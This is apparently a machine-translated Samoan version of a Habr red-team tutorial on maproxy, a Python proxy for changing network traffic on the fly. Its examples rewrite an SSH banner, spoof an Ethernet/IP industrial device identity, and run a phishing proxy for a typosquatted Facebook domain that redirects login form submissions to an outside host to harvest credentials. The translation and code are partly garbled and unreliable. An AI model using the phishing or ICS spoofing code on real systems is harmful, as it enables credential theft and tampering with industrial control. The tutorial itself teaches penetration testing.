Fa'agasolo fa'amatalaga feso'otaiga i luga ole lele

O le faaliliuga o le tusiga na saunia i le afiafi o le amataga o le vasega “Pentest. Fa'ata'ita'iga su'ega tu'ina".

Fa'agasolo fa'amatalaga feso'otaiga i luga ole lele

faʻamatalaga

O ituaiga eseese o suʻesuʻega saogalemu, e amata mai i suʻesuʻega masani ma faʻagaioiga Red Team i le hacking IoT/ICS masini ma SCADA, e aofia ai le galulue faʻatasi ma fesoʻotaʻiga fesoʻotaʻiga binary, o lona uiga, faʻalavelave ma suia faʻamatalaga fesoʻotaʻiga i le va o le kalani ma le sini. Sniffing network traffic e le o se galuega faigata talu ai o loʻo i ai a matou meafaigaluega e pei o Wireshark, Tcpdump poʻo Scapy, ae o le suiga e foliga mai o se galuega e sili atu ona mamafa galuega aua o le a manaʻomia ona i ai se ituaiga o fesoʻotaʻiga e faitau ai faʻamaumauga fesoʻotaʻiga, faʻamama, suia i luga o le lele ma toe auina atu i le nofoaga autu i le toetoe lava taimi moni. E le gata i lea, e lelei pe afai o sea meafaigaluega e mafai ona otometi ona galue i le tele o fesoʻotaʻiga tutusa ma faʻapitoa e faʻaaoga tusitusiga.

I se tasi aso na ou mauaina ai se meafaigaluega e taʻua maproxy, na vave ona manino mai ia te aʻu e le faʻamaumauga maproxy - na'o le mea ou te mana'omia. Ole mea lea ole sui ole TCP e fai si faigofie, tele ma faigofie. Na ou faʻataʻitaʻiina lenei meafaigaluega i luga o le tele o faʻaoga faigata, e aofia ai masini ICS (lea e gaosia ai le tele o pepa) e vaʻai ai pe mafai ona faʻatautaia le tele o fesoʻotaʻiga tutusa, ma lelei le meafaigaluega.

O lenei tusiga o le a faʻalauiloaina oe i le faʻaogaina o faʻamaumauga o fesoʻotaiga i luga o le lele e faʻaaoga ai maproxy.

lagona

Meafaigaluega maproxy e fa'avae i luga o le Tornado, ose ta'uta'ua ma matua fa'alava feso'otaiga feso'ota'iga i le Python.

I se tulaga lautele, e mafai ona galue i le tele o auala:

  • TCP:TCP - feso'ota'iga TCP e le'i fa'ailogaina;
  • TCP:SSL и SSL:TCP – fa'atasi ai ma fa'ailoga e tasi;
  • SSL:SSL – fa'ailoga fa'ailoga e lua.

E sau o se faletusi. Mo se amataga vave, e mafai ona e faʻaogaina faila faʻataʻitaʻiga e atagia ai le autu galuega fai faletusi:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Matā'upu 1 – sui fa'atusa faigofie

E fua i luga tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

e faaletonu ProxyServer() e lua finauga - o le nofoaga o feso'ota'iga ma le uafu fa'atatau. server.listen() e tasi le finauga - o le uafu mo le faʻalogo i le fesoʻotaʻiga o loʻo sau.

Fa'atino le tala:

# python tcp2tcp.py

Ina ia mafai ona faʻatino le suʻega, o le a matou faʻafesoʻotaʻi i se SSH server i le lotoifale e ala i la matou faʻailoga sui, lea e faʻalogo i luga. 2222/tcp uafu ma fesootai i se uafu masani 22/tcp SSH servers:

Fa'agasolo fa'amatalaga feso'otaiga i luga ole lele

O le fu'a fa'afeiloa'i e fa'ailoa atu ia te oe o la matou fa'ata'ita'iga fa'ata'ita'iga ua manuia le sui o fefa'ataua'iga feso'otaiga.

Matā'upu 2 - suiga fa'amaumauga

O le isi fa'amatalaga fa'aaliga logging_proxy.py lelei mo le fegalegaleai ma faʻamatalaga fesoʻotaʻiga. O faʻamatalaga i totonu o le faila e faʻamatala ai metotia a le vasega e mafai ona e suia e ausia ai lau sini:

Fa'agasolo fa'amatalaga feso'otaiga i luga ole lele

O le mea sili ona manaia o iinei:

  • on_c2p_done_read – ia fa'alavelave fa'amaumauga i luga o le ala mai le kalani i le 'au'aunaga;
  • on_p2s_done_read - liliu.

Sei o tatou taumafai e sui le fu'a SSH e toe fo'i atu le server i le kalani:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Fa'atino le tala:

Fa'agasolo fa'amatalaga feso'otaiga i luga ole lele

E pei ona e va'ai, na fa'aseseina le kalani ona o le igoa SSH server mo ia na suia i «DumnySSH».

Fa'agasolo fa'amatalaga feso'otaiga i luga ole lele

Tulaga 3 – itulau faigofie phishing itulau uepi

E i ai auala e le gata e faʻaaoga ai lenei meafaigaluega. O le taimi lenei se'i o tatou taula'i atu i se mea e sili atu ona fa'atino mai le itu a le Red Team. Se'i tatou fa'ata'ita'i i le itulau e tula'i mai m.facebook.com ma fa'aoga se vaega fa'ale-aganu'u fa'atasi ai ma se fa'aoga sese, mo se fa'ata'ita'iga, m.facebok.com. Mo fa'amoemoega fa'ata'ita'iga, se'i tatou fa'apea o le domain na matou resitalaina.

O le a matou faʻatuina se fesoʻotaʻiga fesoʻotaʻiga e leʻi faʻamaonia ma a matou sui na afaina ma SSL Stream i le Facebook server (31.13.81.36). Ina ia faʻaogaina lenei faʻataʻitaʻiga, e manaʻomia le sui o le HTTP host header ma tui le igoa talimalo saʻo, ma o le a matou faʻamalo foi le tali faʻamalosi ina ia faigofie ona matou mauaina mea o loʻo i totonu. Mulimuli ane o le a matou suia le fomu HTML ina ia auina mai ia i matou faʻamatalaga faʻamaonia nai lo sapalai a Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/sm/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

I le aotelega:

Fa'agasolo fa'amatalaga feso'otaiga i luga ole lele

E pei ona e va'ai, na mafai ona matou suia le nofoaga muamua.

Matā'upu 4 – Fa'aola Ethernet/IP

Ua leva ona ou feagai ma masini fale gaosi oloa ma polokalama (ICS/SCADA), e pei o polokalame e pulea (PLC), I/O modules, ta'avale, relays, siosiomaga polokalame apefa'i ma le tele o isi mea. O lenei mataupu e mo i latou e fiafia i mea tau pisinisi. Hacking ia fofo e aofia ai le taʻalo malosi ma fesoʻotaʻiga protocols. I le faʻataʻitaʻiga o loʻo mulimuli mai, ou te manaʻo e faʻaalia pe faʻafefea ona e suia le ICS/SCADA fefaʻatauaʻiga fesoʻotaʻiga.

Mo lenei mea e te manaʻomia mea nei:

  • Network sniffer, mo se faʻataʻitaʻiga, Wireshark;
  • Ethernet / IP pe naʻo se SIP masini, e mafai ona e mauaina e faʻaaoga ai le auaunaga a Shodan;
  • O la matou tusitusiga e faʻavae i luga maproxy.

Muamua, seʻi o tatou vaʻavaʻai pe faʻapefea se tali faʻamaonia masani mai le CIP (Common Industrial Protocol) e foliga mai:

Fa'agasolo fa'amatalaga feso'otaiga i luga ole lele

E fa'ataunu'uina le fa'ailoaina o masini i le fa'aogaina o le Ethernet/IP protocol, o se fa'aleleia atili lea o le fa'alapotopotoga Ethernet fa'apisinisi lea e afifi ai fa'atonuga fa'atonutonu e pei ole CIP. O le a matou suia le faʻailoga ID igoa o loʻo vaaia i le faʻamalama "NI-IndComm mo Ethernet" fa'aaoga la matou fa'ailoga sui. E mafai ona matou toe faʻaaogaina le tusitusiga logging_proxy.py ma fa'apena fo'i fa'alelei le auala a le vasega on_p2s_done_read, aua matou te manana'o ia iloa se isi igoa fa'asinomaga i le kalani.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

O le mea moni, na matou fesili mo le faʻamaoniaina o masini faʻalua, o le tali lona lua o le mea muamua, ma o le muamua na suia i luga o le lele.

Ma le mulimuli

I lo'u manatu maproxy O se meafaigaluega faigofie ma faigofie, o loʻo tusia foi i le Python, o lea ou te talitonu e mafai foi ona e manuia mai le faʻaaogaina. O le mea moni, o loʻo i ai ni mea faigaluega sili atu ona faigata mo le faʻaogaina ma le fesuiaiga o faʻamaumauga o fesoʻotaʻiga, ae latou te manaʻomia foʻi le sili atu le gauai ma e masani ona faia mo se faʻaoga faʻapitoa, eg. Muraena, Modlishka poʻo evilginx mo mataupu e tutusa ma le lona tolu, po o sofa mo le mataupu mulimuli. I se tasi auala po o se isi, faatasi ai ma le fesoasoani maproxy e mafai ona vave faʻatinoina ou manatu mo le faʻalavelaveina o faʻamaumauga o fesoʻotaʻiga, talu ai o faʻataʻitaʻiga tusitusiga e matua manino lava.

Fa'ata'ita'iga fa'amaoniga i le Windows AD

puna: www.habr.com

Faaopoopo i ai se faamatalaga